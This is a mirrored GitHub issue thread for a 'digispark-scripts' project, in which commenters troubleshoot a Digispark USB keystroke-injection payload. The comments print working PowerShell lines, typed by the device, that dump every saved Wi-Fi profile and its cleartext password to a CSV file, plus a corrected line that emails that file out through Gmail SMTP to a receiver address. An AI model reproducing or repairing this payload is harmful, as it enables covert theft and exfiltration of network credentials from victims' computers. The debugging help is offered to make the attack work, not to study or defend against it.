Giter VIP home page Giter VIP logo

Comments (4)

EffiBriest avatar EffiBriest commented on August 18, 2024

yeah I had the same problem here is my fix:
fix code line 22 to:
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\:(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+\:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv" "));

the error u were getting in PS was this one:
Cannot convert argument "item", with value: "temp.csv", for "Add" to type "System.Net.Mail.Attachment": "Cannot
convert value "temp.csv" to type "System.Net.Mail.Attachment". Error: "Could not find file
'C:\WINDOWS\system32\temp.csv'.""
At line:1 char:464

  • ... rds Your Digispark'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPI ...
  •                      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    • CategoryInfo : NotSpecified: (:) [], MethodException
    • FullyQualifiedErrorId : MethodArgumentConversionInvalidCastArgument

from digispark-scripts.

ClutchMonkey avatar ClutchMonkey commented on August 18, 2024

Ok so now it has this error message:
exit status 1
Error compiling for board Digispark (Default - 16.5mhz).

This report would have more information with
"Show verbose output during compilation"
option enabled in File -> Preferences.

And thats before I changed any code. I haven't touched the arduino software in about a month so I don't know if it has something to do with that, or if its my settings or what. Also, before that message, I was able to get an email so I'm pretty sure my settings are correct unless the software has changed of something. Please help me thanks!

from digispark-scripts.

ez3kiel2517 avatar ez3kiel2517 commented on August 18, 2024

I had the same problem with the attachment file
putting the full file path into a variable and passing it as the argument seems to fix it for me.

replace the e-mail sending line with:

DigiKeyboard.print(F("$path = join-path $env:userprofile 'temp.csv'; $SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('GMAIL_USERNAME', 'GMAIL_PASSWORD'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'SENDER_MAIL'; $ReportEmail.To.Add('RECEIVER_MAIL'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'Attached is your report. - Regards Your Digispark'; $ReportEmail.Attachments.Add($path); $SMTPInfo.Send($ReportEmail);exit"));

from digispark-scripts.

CedArctic avatar CedArctic commented on August 18, 2024

Sorry for joining the party late, missed the github notification. Given the solutions here I'm closing the issue. If it persists just comment so and I'll re-open it.

from digispark-scripts.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.